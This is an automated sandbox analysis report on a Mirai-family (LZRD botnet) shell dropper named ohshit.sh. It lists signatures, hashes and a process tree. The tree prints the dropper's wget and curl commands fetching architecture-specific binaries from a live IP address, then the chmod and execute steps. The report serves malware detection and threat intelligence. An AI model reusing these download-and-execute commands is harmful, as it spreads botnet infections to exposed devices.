Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    22-01-2025 05:59

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    a04231d2572fe53296e84de33494e755

  • SHA1

    858cf66fac781dde0b6be798bec7976b36d91826

  • SHA256

    f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff

  • SHA512

    3f3405f3c6a3977d5445fa9595aeaba7e8531882a3d681a28e4ddb13777241765e7ffdbc329e2587ba70c97017fd65eae2376e5ce6ea54a4404d4ac92e0ccb96

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1504
    • /usr/bin/wget
      wget http://193.200.78.24/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1505
    • /usr/bin/curl
      curl -O http://193.200.78.24/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1506
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1510
      • /bin/chmod
        chmod +x boatnet.x86 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1511
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1512
      • /usr/bin/wget
        wget http://193.200.78.24/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1516
      • /usr/bin/curl
        curl -O http://193.200.78.24/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1517
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1519
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1520
      • /usr/bin/wget
        wget http://193.200.78.24/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1524
      • /usr/bin/curl
        curl -O http://193.200.78.24/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1526
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1528
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1529
      • /usr/bin/wget
        wget http://193.200.78.24/hiddenbin/boatnet.i468
        2⤵
          PID:1533
        • /usr/bin/curl
          curl -O http://193.200.78.24/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1534
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1536
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1537
        • /usr/bin/wget
          wget http://193.200.78.24/hiddenbin/boatnet.i686
          2⤵
            PID:1541
          • /usr/bin/curl
            curl -O http://193.200.78.24/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1542
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1544
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1545
          • /usr/bin/wget
            wget http://193.200.78.24/hiddenbin/boatnet.x86_64
            2⤵
              PID:1549
            • /usr/bin/curl
              curl -O http://193.200.78.24/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1550
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1552
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1553
            • /usr/bin/wget
              wget http://193.200.78.24/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1557
            • /usr/bin/curl
              curl -O http://193.200.78.24/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1558
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1560
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1561
            • /usr/bin/wget
              wget http://193.200.78.24/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1565
            • /usr/bin/curl
              curl -O http://193.200.78.24/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1566
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1568
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1569
            • /usr/bin/wget
              wget http://193.200.78.24/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1573
            • /usr/bin/curl
              curl -O http://193.200.78.24/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1574
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1576
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1577
            • /usr/bin/wget
              wget http://193.200.78.24/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1581
            • /usr/bin/curl
              curl -O http://193.200.78.24/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1582
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1584
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1585
            • /usr/bin/wget
              wget http://193.200.78.24/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1589
            • /usr/bin/curl
              curl -O http://193.200.78.24/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1590
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1592
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1593
            • /usr/bin/wget
              wget http://193.200.78.24/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1597
            • /usr/bin/curl
              curl -O http://193.200.78.24/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1598
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1600
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1601
            • /usr/bin/wget
              wget http://193.200.78.24/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1605
            • /usr/bin/curl
              curl -O http://193.200.78.24/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1606
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1608
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1609
            • /usr/bin/wget
              wget http://193.200.78.24/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1613
            • /usr/bin/curl
              curl -O http://193.200.78.24/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1614
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1616
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1617
            • /usr/bin/wget
              wget http://193.200.78.24/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1621
            • /usr/bin/curl
              curl -O http://193.200.78.24/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1622
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1624
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1625

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            20KB

            MD5

            911aa101a1f5c919712ab954d0dfaa3f

            SHA1

            6778ae6880057cbcebe3a593ee3115ae7eae2847

            SHA256

            30d62335e710f94be1996bf37c15f8c410e493c1c9d10cc7420f736778dc3c41

            SHA512

            981aee28346bcf9af048979ddf305a2483fe2e93d6b3f8dd07fa5793aea9c5b9a8e300b2c6368a5b5c6b7b2205cca4f5b9ea7ab22e191f0854e7bd7e093e9c33